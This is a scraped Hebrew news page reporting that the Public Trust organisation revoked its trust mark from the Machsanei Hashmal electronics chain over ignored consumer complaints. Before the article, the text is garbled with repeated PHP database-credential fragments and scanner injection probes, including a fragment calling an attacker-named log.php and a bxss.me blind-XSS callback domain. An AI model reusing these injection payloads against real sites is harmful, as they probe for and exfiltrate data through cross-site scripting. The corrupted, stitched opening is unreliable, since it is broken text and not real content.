$db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1ySf9n9nO"; ?> $db_host = "1" $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "19342244"; ?> ?>acker-9434/log.php?"; ?>{acx}}%>"; ?> $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?> $db_name = "1"; ?>b_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?>>'hitvtgywpoinqc09d0.bxss.me')")"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?> רשת מחסני חשמל מזלזלת בלקוחותיה ותו אמון הציבור נשלל ממנה
x

דיווח על תקלה

תאור תקלה:
שם:
דואר אלקטרוני:
חיפוש באתר
מאמרים אחרונים
ענן תגיות
אולמרט  בנק הפועלים  גלנט  גניבה  הגבלים עסקיים  הונאה  החזרי מס  הסדר כובל  הרשעה  זיכוי  כתב אישום  מאסר בפועל  מבקר המדינה  מעצר  מרמה  ניגוד עניינים  ניירות ערך  ערעור  פרקליטות  קרטל  רשות המיסים  שוחד  שחיתות  שימוע  

תו אמון הציבור נשלל מרשת מחסני חשמל

תאריך: 05/10/2010 16:58   מחבר: מערכת האתר

רשת מחסני חשמל משקיעה רבות בקמפיינים פרסומיים. הציבור נוהר לחנויות הרשת בהמוניו בעקבות הפרסומים והצעות מחיר מפתות. עם זרם הקונים מגיעות גם תלונות רבות על איכות המוצרים. התלונות מכותבות גם לארגון אמון הציבור המנוהל על ידי גלית אבישי. בראש המוסד עומדתת השופטת בדימו, דליה דורנר.

בתחילת שנת 2007 קבלה הרשת את תו אמון הציבור לאחר הליך בקרה ממושך במסגרתו התחייבה לפעול לפי כללי הארגון, להתנהלות צרכנית הוגנת והקפדה על הוראות החוק. אתר האינטרנט של הרשת נבדק ונבדקה אמינות הפרסומים והליכי עבודה.

לפי בדיקת תלונות הצרכנים שהגיעו למוקד אמון הציבור עולה כי הרשת התעלמה מדרישות הארגון לתקן את הליקויים. מנהלי הרשת סרבו להגיע לשימועים אצל הנהלת הארגון. בקיצור, התעלמות מהארגון המייצג את ציבור הצרכנים שמפרנס את הרשת. עיקרי התלונות נגעו למוצרים פגומים שנמכרו כחדשים, שירות לקוי, התעלמות מהצרכן והפנייתו ליבואן המוצר. הלקוח לא קיבל הסברים משכנעים אלא הצהרות כלליות מה שהביא לתחושה של זלזול מופגן בלקוח. 

לפי ההודעה לעיתונות שפרסם הארגון מסרה השופטת דורנר כי "רשת מחסני חשמל לא עמדה בסטנדרטים הנדרשים והפרה באופן תדיר את ההתחייבויות שונות שקיבלה על עצמה כלפי ארגון אמון הציבור ובהן התחייבויות לפי החוק".

לדברי גלית אבישי, מנכ"ל אמון הציבור, "התעלמות חברה מתלונות צרכנים אינה מקובלת. תו אמון הציבור הינו התחייבות של עסק להגינות ובטחון צרכני - עסק המפר התחייבות בסיסית לא יהיה חלק מנבחרת העסקים בעלי תו אמון הציבור.

Bookmark and Share
תגיות בעמוד:   אמון הציבור    מחסני חשמל    צרכנים    תו אמון